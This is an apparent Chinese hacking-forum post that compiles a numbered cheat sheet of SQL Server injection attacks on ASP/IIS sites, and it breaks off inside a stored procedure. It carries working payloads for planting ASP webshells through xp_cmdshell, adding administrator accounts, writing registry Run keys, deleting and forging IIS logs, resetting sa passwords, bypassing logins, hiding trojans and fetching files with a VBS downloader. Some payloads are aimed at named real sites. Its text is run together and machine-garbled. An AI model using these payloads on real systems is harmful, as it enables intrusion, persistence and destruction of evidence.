|
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
无法实现跨操作系统的应用。当然这也是微软的理由之一,只有这样才能发挥ASP最佳的能力。可是我却认为正是Windows限制了ASP,ASP的概念本就是为一个能让系统运行于一个大的多样化环境而设计的;sql1、用^本义字符来写ASP(一句话木马)文件的办法:
http://192.168.1.5/display.asp?keyno=1881;execmaster.dbo.xp_cmdshellecho^<scriptlanguage=VBScriptrunat=server^>executerequest^("l"^)^</script^>>c:mu.asp;--
echo^<%execute^(request^("l"^)^)%^>>c:mu.asp
2、显现SQL体系版本:
http://192.168.1.5/display.asp?keyno=188and1=(select@@VERSION)
http://www.xxxx.com/FullStory.asp?id=1and1=convert(int,@@version)--
MicrosoftVBScript编译器毛病毛病800a03f6
短少End
/iisHelp/common/500-100.asp,行242
MicrosoftOLEDBProviderforODBCDrivers毛病80040e07
[Microsoft][ODBCSQLServerDriver][SQLServer]SyntaxerrorconvertingthenvarcharvalueMicrosoftSQLServer2000-8.00.760(IntelX86)Dec17200214:22:05Copyright(c)1988-2003MicrosoftCorporationDesktopEngineonWindowsNT5.0(Build2195:ServicePack4)toacolumnofdatatypeint.
/display.asp,行17
3、在检测索尼中国的网站毛病时,明白已断定了毛病存在却没法在这三种毛病中找到对应的范例。偶尔间我想到了在SQL言语中可使用“in”关头字举行查询,比方“select*frommytablewhereidin(1)”,括号中的值就是我们提交的数据,它的了局与利用“select*frommytablewhereid=1”的查询了局完整不异。以是会见页面的时分在URL前面加上“)and1=1and1in(1”后本来的SQL语句就酿成了“select*frommytablewhereidin(1)and1=1and1in(1)”,如许就会呈现等候已久的页面了。临时就叫这类范例的毛病为“包括数字型”吧,伶俐的你必定想到了另有“包括字符型”呢。对了,它就是因为相似“select*frommytablewherenamein(‘firstsee’)”的查询语句酿成的。
4、判别xp_cmdshell扩大存储历程是不是存在:
http://192.168.1.5/display.asp?keyno=188and1=(SELECTcount(*)FROMmaster.dbo.sysobjectsWHERExtype=XANDname=xp_cmdshell)
恢复xp_cmdshell扩大存储的命令:
http://www.test.com/news/show1.asp?NewsId=125272
;execmaster.dbo.sp_addextendedprocxp_cmdshell,’e:inetputwebxplog70.dll’;--
5、向启动组中写进命令行和实行程序:
http://192.168.1.5/display.asp?keyno=188;EXECmaster.dbo.xp_regwriteHKEY_LOCAL_MACHINE,SOFTWAREMicrosoftWindowsCurrentVersionRun,help1,REG_SZ,cmd.exe/cnetusertestptlove/add
6、检察以后的数据库称号:
http://192.168.1.5/display.asp?keyno=188and0db_name(n)n改成0,1,2,3……就能够跨库了
http://www.xxxx.com/FullStory.asp?id=1and1=convert(int,db_name())--
MicrosoftVBScript编译器毛病毛病800a03f6
短少End
/iisHelp/common/500-100.asp,行242
MicrosoftOLEDBProviderforODBCDrivers毛病80040e07
[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvaluehuidahousetoacolumnofdatatypeint.
/display.asp,行17
7、列出以后一切的数据库称号:
select*frommaster.dbo.sysdatabases列出一切列的纪录
selectnamefrommaster.dbo.sysdatabases仅列出name列的纪录
8、不需xp_cmdshell撑持在有注进毛病的SQL服务器上运转CMD命令:
CREATETABLEmytmp(infoVARCHAR(400),IDintIDENTITY(1,1)NOTNULL)
DECLARE@shellINT
DECLARE@fsoINT
DECLARE@fileINT
DECLARE@isEndBIT
DECLARE@outVARCHAR(400)
EXECsp_oacreatewscript.shell,@shelloutput
EXECsp_oamethod@shell,run,null,cmd.exe/cdirc:>c: emp.txt,0,true
--注重run的参数true指的是将守候程序运转的了局,关于相似ping的长工夫命令必须利用此参数。
EXECsp_oacreatescripting.filesystemobject,@fsooutput
EXECsp_oamethod@fso,opentextfile,@fileout,c: emp.txt
--由于fso的opentextfile办法将前往一个textstream工具,以是此时@file是一个工具令牌
WHILE@shell>0
BEGIN
EXECsp_oamethod@file,Readline,@outout
INSERTINTOMYTMP(info)VALUES(@out)
EXECsp_oagetproperty@file,AtEndOfStream,@isEndout
IF@isEnd=1BREAK
ELSECONTINUE
END
DROPTABLEMYTMP
----------
DECLARE@shellINT
DECLARE@fsoINT
DECLARE@fileINT
DECLARE@isEndBIT
DECLARE@outVARCHAR(400)
EXECsp_oacreatewscript.shell,@shelloutput
EXECsp_oamethod@shell,run,null,cmd.exe/ccscriptC:InetpubAdminScriptsadsutil.vbsset/W3SVC/InProcessIsapiApps"C:WINNTsystem32idq.dll""C:WINNTsystem32inetsrvhttpext.dll""C:WINNTsystem32inetsrvhttpodbc.dll""C:WINNTsystem32inetsrvssinc.dll""C:WINNTsystem32msw3prt.dll""C:winntsystem32inetsrvasp.dll">c: emp.txt,0,true
EXECsp_oacreatescripting.filesystemobject,@fsooutput
EXECsp_oamethod@fso,opentextfile,@fileout,c: emp.txt
WHILE@shell>0
BEGIN
EXECsp_oamethod@file,Readline,@outout
INSERTINTOMYTMP(info)VALUES(@out)
EXECsp_oagetproperty@file,AtEndOfStream,@isEndout
IF@isEnd=1BREAK
ELSECONTINUE
END
以下是一行内里将WEB用户加到办理员组中:
DECLARE@shellINTDECLARE@fsoINTDECLARE@fileINTDECLARE@isEndBITDECLARE@outVARCHAR(400)EXECsp_oacreatewscript.shell,@shelloutputEXECsp_oamethod@shell,run,null,cmd.exe/ccscriptC:InetpubAdminScriptsadsutil.vbsset/W3SVC/InProcessIsapiApps"C:WINNTsystem32idq.dll""C:WINNTsystem32inetsrvhttpext.dll""C:WINNTsystem32inetsrvhttpodbc.dll""C:WINNTsystem32inetsrvssinc.dll""C:WINNTsystem32msw3prt.dll""C:winntsystem32inetsrvasp.dll">c: emp.txt,0,trueEXECsp_oacreatescripting.filesystemobject,@fsooutputEXECsp_oamethod@fso,opentextfile,@fileout,c: emp.txtWHILE@shell>0BEGINEXECsp_oamethod@file,Readline,@outoutINSERTINTOMYTMP(info)VALUES(@out)EXECsp_oagetproperty@file,AtEndOfStream,@isEndoutIF@isEnd=1BREAKELSECONTINUEEND
以下是一行中实行EXE程序:
DECLARE@shellINTDECLARE@fsoINTDECLARE@fileINTDECLARE@isEndBITDECLARE@outVARCHAR(400)EXECsp_oacreatewscript.shell,@shelloutputEXECsp_oamethod@shell,run,null,cmd.exe/ccscript.exeE:jeea.net.cnscoreftsimagesiis.vbslh1c:>c: emp.txt,0,trueEXECsp_oacreatescripting.filesystemobject,@fsooutputEXECsp_oamethod@fso,opentextfile,@fileout,c: emp.txtWHILE@shell>0BEGINEXECsp_oamethod@file,Readline,@outoutINSERTINTOMYTMP(info)VALUES(@out)EXECsp_oagetproperty@file,AtEndOfStream,@isEndoutIF@isEnd=1BREAKELSECONTINUEEND
SQL下三种实行CMD命令的办法:
先删除7.18号日记:
(1)execmaster.dbo.xp_cmdshelldelC:winntsystem32logfilesW3SVC5ex050718.log>c: emp.txt
(2)DECLARE@shellINTDECLARE@fsoINTDECLARE@fileINTDECLARE@isEndBITDECLARE@outVARCHAR(400)EXECsp_oacreatewscript.shell,@shelloutputEXECsp_oamethod@shell,run,null,cmd.exe/cdelC:winntsystem32logfilesW3SVC5ex050718.log>c: emp.txt,0,trueEXECsp_oacreatescripting.filesystemobject,@fsooutputEXECsp_oamethod@fso,opentextfile,@fileout,c: emp.txtWHILE@shell>0BEGINEXECsp_oamethod@file,Readline,@outoutINSERTINTOMYTMP(info)VALUES(@out)EXECsp_oagetproperty@file,AtEndOfStream,@isEndoutIF@isEnd=1BREAKELSECONTINUEEND
(3)起首开启jet沙盘形式,经由过程扩大存储历程xp_regwrite修正注册表完成,办理员修正注册表不克不及防备的缘故原由。出于平安缘故原由,默许沙盘形式未开启,这就是为何必要xp_regwrite的缘故原由,而xp_regwrite最少必要DB_OWNER权限,为了便利,这里倡议利用sysadmin权限测试:
execmaster..xp_regwriteHKEY_LOCAL_MACHINE,SOFTWAREMicrosoftJet4.0Engines,SandBoxMode,REG_DWORD,1
注:
0克制统统(默许)
1使能会见ACCESS,可是克制别的
2克制会见ACCESS,可是使能其他
3使能统统
这里仅给出sysadmin权限下利用的命令:
select*fromopenrowset(microsoft.jet.oledb.4.0,;database=c:winntsystem32iasias.mdb,selectshell("cmd.exe/cnetuseradminadmin1234/add"))
创建链接数据库L0op8ack参考命令:
EXECsp_addlinkedserverL0op8ack,OLEDBProviderforJet,Microsoft.Jet.OLEDB.4.0,c:windowssystem32iasias.mdb
怎样利用链接数据库:
利用这个体例能够实行,可是很不幸,DB_OWNER权限是不敷的,必要最少sysadmin权限大概securityadmin+setupadmin权限组合
sp_addlinkedserver必要sysadmin或setupadmin权限
sp_addlinkedsrvlogin必要sysadmin或securityadmin权限
终极发明,仍是sa权限大概setupadmin+securityadmin权限帐户才干利用,
一样平常没有哪一个办理员这么设置一般帐户权限的
有用性不强,仅作为一个进修总结吧
大抵历程以下,假如不是sysadmin,那末IAS.mdb权限考证会堕落,
我测试的时分授与hacker这个用户setupadmin+securityadmin权限,利用ias.mdb失利
必要找一个一样平常用户可会见的mdb才能够:
新建链接服务器”L0op8ack”:EXECsp_addlinkedserverL0op8ack,JetOLEDB,Microsoft.Jet.OLEDB.4.0,c:winntsystem32iasias.mdb;--
execsp_addlinkedsrvloginL0op8ack,false;--或
execsp_addlinkedsrvloginL0op8ack,false,NULL,test1,ptlove;--
SELECT*FROMOPENQUERY(L0op8ack,SELECTshell("cmd.exe/cnetuser"));--
execsp_droplinkedsrvloginL0op8ack,false;--
execsp_dropserverL0op8ack;--
再考贝一个别的文件来取代7.18日文件:
(1)execmaster.dbo.xp_cmdshellcopyC:winntsystem32logfilesW3SVC5ex050716.logC:winntsystem32logfilesW3SVC5ex050718.log>c: emp.txt
(2)DECLARE@shellINTDECLARE@fsoINTDECLARE@fileINTDECLARE@isEndBITDECLARE@outVARCHAR(400)EXECsp_oacreatewscript.shell,@shelloutputEXECsp_oamethod@shell,run,null,cmd.exe/ccopyC:winntsystem32logfilesW3SVC5ex050716.logC:winntsystem32logfilesW3SVC5ex050718.log>c: emp.txt,0,trueEXECsp_oacreatescripting.filesystemobject,@fsooutputEXECsp_oamethod@fso,opentextfile,@fileout,c: emp.txtWHILE@shell>0BEGINEXECsp_oamethod@file,Readline,@outoutINSERTINTOMYTMP(info)VALUES(@out)EXECsp_oagetproperty@file,AtEndOfStream,@isEndoutIF@isEnd=1BREAKELSECONTINUEEND
(3)DECLARE@shellINTDECLARE@fsoINTDECLARE@fileINTDECLARE@isEndBITDECLARE@outVARCHAR(400)EXECsp_oacreatewscript.shell,@shelloutputEXECsp_oamethod@shell,run,null,cmd.exe/cnetuser>c: emp.txt,0,trueEXECsp_oacreatescripting.filesystemobject,@fsooutputEXECsp_oamethod@fso,opentextfile,@fileout,c: emp.txtWHILE@shell>0BEGINEXECsp_oamethod@file,Readline,@outoutINSERTINTOMYTMP(info)VALUES(@out)EXECsp_oagetproperty@file,AtEndOfStream,@isEndoutIF@isEnd=1BREAKELSECONTINUEEND
9、用UPDATE来更新表中的数据:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;updateupload.dbo.adminsetpwd=a0b923820dcc509awhereusername=www;--
www用户暗码的16位MD5值为:a0b923820dcc509a,即把暗码改成1;
32位MD5值为:,暗码为
10、使用表内容导成文件功效
SQL有BCP命令,它能够把表的内容导成文本文件并放到指定地位。使用这项功效,我们能够先建一张一时表,然后在表中一行一行地输出一个ASP木马,然后用BCP命令导出构成ASP文件。
命令行格局以下:
bcp"select*fromtemp"queryoutc:inetpubwwwrootuncommand.aspCcCSlocalhostCUsaCPupload(S参数为实行查询的服务器,U参数为用户名,P参数为暗码,终极上传了一个runcommand.asp的木马)。
11、创立表、播进数据和读取数据的办法
创立表:
and1=1unionselect1,2,3,4;createtable[dbo].[cyfd]([gyfd][char](255))--
往内外播进数据:
and1=1unionselect1,2,3,4;DECLARE@resultvarchar(255)selecttop1namefromupload.dbo.sysobjectswherextype=Uandstatus>0,@resultoutputinsertintocyfd(gyfd)values(@result);--
and1=1unionselect1,2,3,4;DECLARE@resultvarchar(255)execmaster.dbo.xp_regreadHKEY_LOCAL_MACHINE,SYSTEMCONTROLSet001ServicesW3SVCParametersVirtualRoots,/,@resultoutputinsertintocyfd(gyfd)values(@result);--
从内外读取数据:
and1=(selectcount(*)fromcyfdwheregyfd>1)--
删除一时表:
;droptablecyfd;--
12、经由过程SQL语句间接变动sa的暗码:
updatemaster.dbo.sysxloginssetpassword=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A1FC944AA50CBB30267F53B9451B7189CA67AF19A1FCwheresid=0x01,如许sa的暗码就被我们改成了111111拉。呵呵,办理的办法就是把sa给删拉。,怎样删能够参考我的《完整删除sa这个后门》。
检察本机一切的数据库用户名:
select*frommaster.dbo.sysxlogins
selectname,sid,password,dbidfrommaster.dbo.sysxlogins
变动sa口令办法:用sql综合使用工具毗连后,实行命令:
execsp_passwordNULL,新暗码,sa
13、查询dvbbs库中一切的表名和表布局:
select*fromdvbbs.dbo.sysobjectswherextype=Uandstatus>0
select*fromdvbbs.dbo.syscolumnswhereid=1426104121
14、手工备份以后数据库:
完整备份:
;declare@asysname,@snvarchar(4000)
select@a=db_name(),@s=c:/db1backupdatabase@atodisk=@sWITHformAT--
差别备份:
;declare@asysname,@snvarchar(4000)
select@a=db_name(),@s=c:/db1backupdatabase@atodisk=@sWITHDIFFERENTIAL,formAT―
15、增加和删除一个SA权限的用户test:
execmaster.dbo.sp_addlogintest,ptlove
execmaster.dbo.sp_addsrvrolemembertest,sysadmin
cmd.exe/cisql-E/Ualma/P/iK: est.qry
16、select*fromChouYFD.dbo.sysobjectswherextype=Uandstatus>0
就能够列出库ChouYFD中一切的用户创建的表名。
Selectname,idfromChouYFD.dbo.sysobjectswherextype=Uandstatus>0
17、
http://www.npc.gov.cn/zgrdw/common/image_view.jsp?sqlstr=select*fromrdweb.dbo.syscolumns(whereid=1234)
列出rdweb库中一切表中的字段称号
select*fromdvbbs.dbo.syscolumnswhereid=5575058
列出库dvbbs中表id=5575058的一切字段名
18、删除纪录命令:deletefromDv_topicwhereboardid=5andtopicid=7978
19、绕过登录考证进进背景的办法收拾:
1)or=
2)or1=1--
3)‘or‘a’=’a--
4)‘or’=’or’
5)"or1=1--
6)or1=1--
7)or’a=’a
8)"or"a"="a
9)’)or(’a’=’a
10)")or("a"="a
11))or(1=1
12)or=
13)人气%’and1=1and’%’=’
20、寻觅网站路径的办法汇总:
1)检察WEB网站安装目次命令:
cscriptc:inetpubadminscriptsadsutil.vbsenumw3svc/2/root>c: est1.txt(将2换成1、3、4、5尝尝)
typec: est1.txt
delc: est1.txt
在NBSI下能够间接显现运转了局,以是不必导出到文件
2)在网站上任意找到一个图片的名字123.jpg
然后写进批处置程序123.bat:
d:
dir123.jpg/s>c:123.txt
e:
dir123.jpg/s>>c:123.txt
f:
dir123.jpg/s>>c:123.txt
实行后typec:123.txt
如许来剖析网站的路径
3)SQL服务器和网站服务器在统一个服务器上,好了是能够实行命令是吧?
将实行命令输入了局到
%windir%helpiishelpcommon404b.htm大概500.asp
注重输入前Backup这两个文件
如:
dirc:>%windir%helpiishelpcommon404b.htm
然后任意输出一个文件来会见:http://方针ip/2.asp
4)针对win2000体系:xp_regread读取HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesW3SVCParametersVirtualRoots猎取WEB路径
2003体系:xp_regread读取,未找到办法
如:
(1)新建一个表cyfd(字段为gyfd):http://www.cnwill.com/NewsShow.aspx?id=4844;createtable[dbo].[cyfd]([gyfd][char](255))--
(2)把web路径写出来:http://www.cnwill.com/NewsShow.aspx?id=4844;DECLARE@resultvarchar(255)execmaster.dbo.xp_regreadHKEY_LOCAL_MACHINE,SYSTEMCONTROLSet001ServicesW3SVCParametersVirtualRoots,/,@resultoutputinsertintocyfd(gyfd)values(@result);--
(3)仍是让他不婚配,显现毛病:http://www.cnwill.com/NewsShow.aspx?id=4844and1=(selectcount(*)fromcyfdwheregyfd>1)
Source:.NetSqlClientDataProvider
Description:将varchar值Y:Web烟台人才网热线背景办理体系,,201转换为数据范例为int的列时产生语法毛病。
TargeSite:BooleanRead()哈哈哈。。路径表露了。。
(4)接上去删除表:http://www.cnwill.com/NewsShow.aspx?id=4844;droptablecyfd;--
5)用regedit命令导出注册表,将导出的了局保留的路径到%windir%helpiishelpcommon404b.htm大概500.asp页面
regedit命令申明:
Regedit/L:system/R:user/Efilename.regRegpath
参数寄义:
/L:system指定System.dat文件地点的路径。
/R:user指定User.dat文件地点的路径。
/E:此参数指定注册表编纂器要举行导出注册表操纵,在此参数前面空一格,输出导出注册表的文件名。
Regpath:用来指定要导出哪一个注册表的分支,假如不指定,则将导出全体注册表分支。在这些参数中,"/L:system"和"/R:user"参数是可选项,假如不利用这两个参数,注册表编纂器则以为是对WINDOWS目次下的"system.dat"和"user.dat"文件举行操纵。假如是经由过程从软盘启动并进进DOS,那末就必需利用"/L"和"/R"参数来指定"system.dat"和"user.dat"文件的详细路径,不然注册表编纂器将没法找到它们。好比说,假如经由过程启动盘进进DOS,则备份注册表的命令是"Regedit/L:C:windows/R:C:windows/eregedit.reg",该命令的意义是把全部注册表备份到WINDOWS目次下,其文件名为"regedit.reg"。而假如输出的是"regedit/ED:egedit.reg"这条命令,则是说把全部注册表备份到D盘的根目次下(省略了"/L"和"/R"参数),其文件名为"Regedit.reg"。
regedit/sc:adam.reg(导进c:adam.reg文件至注册表)
regedit/ec:web.reg(备份全体注册内容到c:web.reg中)
针对win2000体系:C:>regedit/e%windir%helpiishelpcommon404b.htm"HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesW3SVCParametersVirtualRoots"
然后http://方针IP/2.asp
针对win2003体系:没有找到,但愿找到的伴侣发布出来一同会商。
6)假造主机下%SystemRoot%system32inetsrvMetaBack下的文件是iis的备份文件,是同意web用户会见的,假如你的iis备份到这里,用webshell下载上去后用记事本翻开,能够猎取对应的域名和web相对路径。
7)SQL注进创建假造目次,有dbo权限下找不到web相对路径的一种办理举措:
我们良多情形下都碰到SQL注进能够列目次和运转命令,可是却很不简单找到web地点目次,也就欠好失掉一个webshell,这一招不错:
创建假造目次win,指向c:winntsystem32:execmaster.dbo.xp_cmdshellcscriptC:inetpubAdminScriptsmkwebdir.vbs-clocalhost-w"l"-v"win","c:winntsystem32"
让win目次具有剖析asp剧本权限:execmaster.dbo.xp_cmdshellcscriptC:inetpubAdminScriptsadsutil.vbssetw3svc/1/root/win/Accessexecute"true"Cs:
删除假造目次win:execmaster.dbo.xp_cmdshellcscriptC:inetpubAdminScriptsadsutil.vbsdeletew3svc/1/root/win/
测试:http://127.0.0.1/win/test.asp
8)使用SQL语句来查找WEB目次:依据履历,怀疑WEB根目次的按次是:d盘、e盘、c盘,起首我们创建一个一时表用于寄存master..xp_dirtree(合适于public)天生的目次树,用以下语句:
;createtabletemp(dirnvarchar(255),depthvarchar(255));--,该表的dir字段暗示目次的称号,depth字段暗示目次的深度。然后实行xp_dirtree取得D盘的目次树,语句以下:
;inserttemp(dir,depth)execmaster.dbo.xp_dirtreed:;--
在举行上面的操纵前,先检察D盘有几个文件夹,如许对D盘有个大抵的懂得,语句以下:
and(selectcount(*)fromtempwheredepth=1anddirnotin(DocumentsandSettings,ProgramFiles,RECYCLER,SystemVolumeInformation,WINDOWS,CAConfig,wmpub,MicrosoftUAM卷))>=数字(数字=0、1、2、3...)
接着,我们在对方的网站上找几个一级子目次,如user、photo,然后,用选择的办法来判别WEB根目次上是不是存在此盘上,语句以下:
and(selectcount(*)fromtempwherediruser)<(selectcount(*)fromtemp)
看语句的前往了局,假如为真,暗示WEB根目次有大概在此盘上,为了进一步确认,多测试几个子目次:
and(selectcount(*)fromtempwheredirphoto)<(selectcount(*)fromtemp)
...
假如一切的测试了局都为真,暗示WEB根目次很有大概在此盘上。
上面假定找到的WEB根目次在此盘上,用以下的语句来取得一级子目次的深度:
and(selectdepthfromtempwheredir=user)>=数字(数字=1、2、3...)
假定失掉的depth是3,申明user目次是D盘的3级目次,则WEB根目次是D盘的二级目次。
今朝我们已晓得了根目次地点的盘符和深度,要找到根目次的详细地位,我们来从D盘根目次入手下手一一征采,固然,没有需要晓得每一个目次的称号,不然太泯灭工夫了。
接上去,别的创建一个一时表,用来寄存D盘的1级子目次下的一切目次,语句以下:
;createtabletemp1(dirnvarchar(255),depthvarchar(255));--
然后把从D盘的第一个子目次下的一切目次存到temp1中,语句以下:
declare@dirnamevarchar(255);set@dirname=d:+(selecttop1dirfrom(selecttop1dirfromtempwheredepth=1anddirnotin(DocumentsandSettings,ProgramFiles,RECYCLER,SystemVolumeInformation,WINDOWS,CAConfig,wmpub,MicrosoftUAM卷)orderbydirdesc)Torderbydir);insertintotemp1execmaster.dbo.xp_dirtree@dirname
固然也能够把D盘的第二个子目次下的一切目次存到temp1中,只需把第二个top1改成top2就好了。
如今,temp1中已保留了一切D盘第一级子目次下的一切目次,然后,我们用一样的办法来判别根目次是不是在此一级子目次下:
and(selectcount(*)fromtemp1wherediruser)<(selectcount(*)fromtemp1)
假如前往为真,暗示根目次大概在此子目次下,记着要多测试几个例子,假如都前往为假,则标明WEB根目次不在此目次下,然后我们在用一样的办法来取得D盘第2、3...个子目次下的一切目次列表,来判别WEB根目次是不是在其下。可是,要注重,用xp_dirtree前必定要把temp1表中的内容删除。
如今假定,WEB根目次在D盘的第一级子目次下,该子目次称号为website,如何取得这个目次的称号我想不必我说了吧。由于后面我们晓得了WEB根目次的深度为2,我们必要晓得website下究竟哪一个才是真实的WEB根目次。
如今,我们用一样的办法,再创建第3个一时表:
;createtabletemp2(dirnvarchar(255),depthvarchar(255));--
然后把从D盘的website下的一切目次存到temp2中,语句以下:
declare@dirnamevarchar(255);set@dirname=d:website+(selecttop1dirfrom(selecttop1dirfromtemp1wheredepth=1anddirnotin(DocumentsandSettings,ProgramFiles,RECYCLER,SystemVolumeInformation,WINDOWS,CAConfig,wmpub,MicrosoftUAM卷)orderbydirdesc)Torderbydir);insertintotemp2execmaster.dbo.xp_dirtree@dirname
固然也能够把D盘的website下第二个子目次下的一切目次存到temp2中,只需把第二个top1改成top2就好了。
如今,我们用一样的办法判别该目次是不是为根目次:
and(selectcount(*)fromtemp2wherediruser)<(selectcount(*)fromtemp2)
假如前往为真,为了断定我们的判别,多测试几个例子,办法下面都讲到了,假如多个例子都前往为真,那末就断定了该目次为WEB根目次。
用以上的办法基础上能够取得WEB根目次,如今我们假定WEB根目次是:D:websitewww
然后,我们就能够备份以后数据库到这个目次下用来下载。备份前我们把temp、temp1、temp2的内容清空,然后C、D、E盘的目次树分离存到temp、temp1、temp2中。
下载完数据库后要记得把三个一时表DROP失落,如今我们鄙人载的数据库中能够找到一切的目次列表,包含背景办理的目次和更多信息。
21、win2000下将WEB用户提拔为体系用户权限,必要有办理员的权限才干实行:
c:>cscriptC:InetpubAdminScriptsadsutil.vbsset/W3SVC/InProcessIsapiApps"C:WINNTsystem32idq.dll""C:WINNTsystem32inetsrvhttpext.dll""C:WINNTsystem32inetsrvhttpodbc.dll""C:WINNTsystem32inetsrvssinc.dll""C:WINNTsystem32msw3prt.dll""C:winntsystem32inetsrvasp.dll"
cscriptC:InetpubAdminScriptsadsutil.vbsset/W3SVC/InProcessIsapiApps"C:windowssystem32idq.dll""C:windowssystem32inetsrvhttpext.dll""C:windowssystem32inetsrvhttpodbc.dll""C:windowssystem32inetsrvssinc.dll""C:windowssystem32msw3prt.dll""C:windowssystem32inetsrvasp.dll"
检察是不是乐成:
c:>cscriptC:InetpubAdminScriptsadsutil.vbsgetw3svc/inprocessisapiapps
Microsoft(R)WindowsScriptHostVersion5.6
版权一切(C)MicrosoftCorporation1996-2001。保存一切权力。
inprocessisapiapps:(LIST)(6Items)
"C:WINNTsystem32idq.dll"
"C:WINNTsystem32inetsrvhttpext.dll"
"C:WINNTsystem32inetsrvhttpodbc.dll"
"C:WINNTsystem32inetsrvssinc.dll"
"C:WINNTsystem32msw3prt.dll"
"c:winntsystem32inetsrvasp.dll"
22、怎样埋没ASP木马:
创建非尺度目次:mkdirimages..
拷贝ASP木马至目次:copyc:inetpubwwwrootdbm6.aspc:inetpubwwwrootimages..
ews.asp
经由过程web会见ASP木马:http://ip/images../news.asp?action=login
怎样删除非尺度目次:rmdirimages../s
23、往失落tenlnet的ntlm认证:
;execmaster.dbo.xp_cmdshelltlntadmnconfigsec=-ntlm―
24、用echo写进文件下载剧本iget.vbs:
(1)echoSetx=CreateObject(^"Microsoft.XMLHTTP^"):x.Open^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Sets=CreateObject(^"ADODB.Stream^"):s.Mode=3:s.Type=1:s.Open():s.Write(x.responseBody):s.SaveToFileLCase(WScript.Arguments(1)),2>c:iget.vbs
(2)c:>cscriptiget.vbshttp://127.0.0.1/asp/dbm6.aspdbm6.asp
25、手工创建IIS埋没目次的办法:
检察当地假造目次列表:cscript.exec:inetpubAdminScriptsadsutil.vbsenumw3svc/1/root
新建一个kiss目次:mkdirc:aspkiss
创建kiss假造目次:cscript.exec:inetpubAdminScriptsmkwebdir.vbs-cMyComputer-w"DefaultWebSite"-v"kiss","c:aspkiss"
为kiss目次加实行和写权限:
cscript.exec:inetpubAdminScriptsadsutil.vbssetw3svc/1/root/kiss/kiss/accesswrite"true"-s:
cscript.exec:inetpubAdminScriptsadsutil.vbssetw3svc/1/root/kiss/accessexecute"true"-s:
?:Cscriptc:inetpubAdminScriptsadsutil.vbsset/w3svc/1/root/kiss/createprocessasuserfalse
会见:http://127.0.0.1/kiss/test.asp
26、利用openrowset()连回当地做测试:
SELECTa.*
FROMOPENROWSET(SQLOLEDB,127.0.0.1;sa;111111,
SELECT*FROM[dvbbs].[dbo].[dv_admin])ASa
SELECT*FROMOPENROWSET(SQLOLEDB,127.0.0.1;sa;111111,
SELECT*FROM[dvbbs].[dbo].[dv_admin])
27、取得主机名:
http://www.xxxx.com/FullStory.asp?id=1and1=convert(int,@@servername)--
selectconvert(int,@@servername)
select@@servername
28、取得数据库用户名:
http://www.XXXX.com/FullStory.asp?id=1and1=convert(int,system_user)--
http://www.19cn.com/showdetail.asp?id=49anduser>0
selectuser
29、一般用户取得WEBSHELL的办法之二:
打包:
EXEC[master].[dbo].[xp_makecab]c: est.rar,default,1,d:cmd.asp
解包,能够用于失掉webshell:
EXEC[master].[dbo].[xp_unpackcab]C: est.rar,c:,1,n.asp
读恣意文件内容,请求有master的dbo权限:
EXEC[master].[dbo].[xp_readerrorlog]1,c:cmd.asp
30、sa权限下已知web路径间接备份数据库到web路径下
http://www.XXXX.com/FullStory.asp?id=1;backuupdatabase数据库名todisk=c:inetpubwwwrootsave.db则把失掉的数据内容全体备份到WEB目次下,再用HTTP把此文件下载(固然首选要晓得WEB假造目次)。
遍历体系的目次布局,剖析了局并发明WEB假造目次,先创立一个一时表:temp
http://www.XXXX.com/FullStory.asp?id=1;createtabletemp(idnvarchar(255),num1nvarchar(255),num2nvarchar(255),num3nvarchar(255));--
接上去:我们能够使用xp_availablemedia来取得以后一切驱动器,并存进temp表中:
http://www.XXXX.com/FullStory.asp?id=1;inserttempexecmaster.dbo.xp_availablemedia;--
我们能够经由过程查询temp的内容来取得驱动器列表及相干信息大概使用xp_subdirs取得子目次列表,并存进temp表中:
http://www.XXXX.com/FullStory.asp?id=1;insertintotemp(id)execmaster.dbo.xp_subdirsc:;--
我们还能够使用xp_dirtree取得一切子目次的目次树布局,并寸进temp表中:
http://www.XXXX.com/FullStory.asp?id=1;insertintotemp(id,num1)execmaster.dbo.xp_dirtreec:;--如许就能够乐成的扫瞄到一切的目次(文件夹)列表
假如我们必要检察某个文件的内容,能够经由过程实行xp_cmdsell:;insertintotemp(id)execmaster.dbo.xp_cmdshelltypec:webindex.asp;--
利用bulkinsert语法能够将一个文本文件拔出到一个一时表中。如:bulkinserttemp(id)fromc:inetpubwwwrootindex.asp扫瞄temp就能够看到index.asp文件的内容了!经由过程剖析各类ASP文件,能够失掉大批体系信息,WEB建立与办理信息,乃至能够失掉SA帐号的毗连暗码。
31、一些sql中的扩大存储的总结:
xp_availablemedia显现体系上可用的盘符C:xp_availablemedia
xp_enumgroups列出以后体系的利用群组及其申明xp_enumgroups
xp_enumdsn列出体系上已设置好的ODBC数据源称号xp_enumdsn
xp_dirtree显现某个目次下的子目次与文件架构xp_dirtreeC:inetpubwwwroot
xp_getfiledetails猎取某文件的相干属性xp_getfiledetailsC:inetpubwwwroot.asp
dbp.xp_makecab将方针盘算机多个档案紧缩到某个档案里所紧缩的档案都能够接在参数的前面用豆号离隔dbp.xp_makecabC:lin.cab,evil,1,C:inetpubmdb.asp
xp_unpackcab解紧缩xp_unpackcabC:hackway.cab,C: emp,1
xp_ntsec_enumdomains列出服务器域名xp_ntsec_enumdomains
xp_servicecontrol中断大概启动某个服务xp_servicecontrolstop,schedule
xp_terminate_process用pid来中断某个实行中的程序xp_terminate_process123
dbo.xp_subdirs只列某个目次下的子目次dbo.xp_subdirsC:
32、
USEMASTER
GO
CREATEprocsp_MSforeachObject
@objectTypeint=1,
@command1nvarchar(2000),
@replacecharnchar(1)=N?,
@command2nvarchar(2000)=null,
@command3nvarchar(2000)=null,
@whereandnvarchar(2000)=null,
@precommandnvarchar(2000)=null,
@postcommandnvarchar(2000)=null
as
/*Thisprocreturnsoneormorerowsforeachtable(optionally,matching@where),witheachtabledefaultingtoits
ownresultset*/
/*@precommandand@postcommandmaybeusedtoforceasingleresultsetviaatemptable.*/
/*Preprocessorwontreplacewithinquotessohavetousestr().*/
declare@mscatnvarchar(12)
select@mscat=ltrim(str(convert(int,0x0002)))
if(@precommandisnotnull)
exec(@precommand)
/*Defined@isobjectforsaveobjecttype*/
Declare@isobjectvarchar(256)
select@isobject=case@objectTypewhen1thenIsUserTable
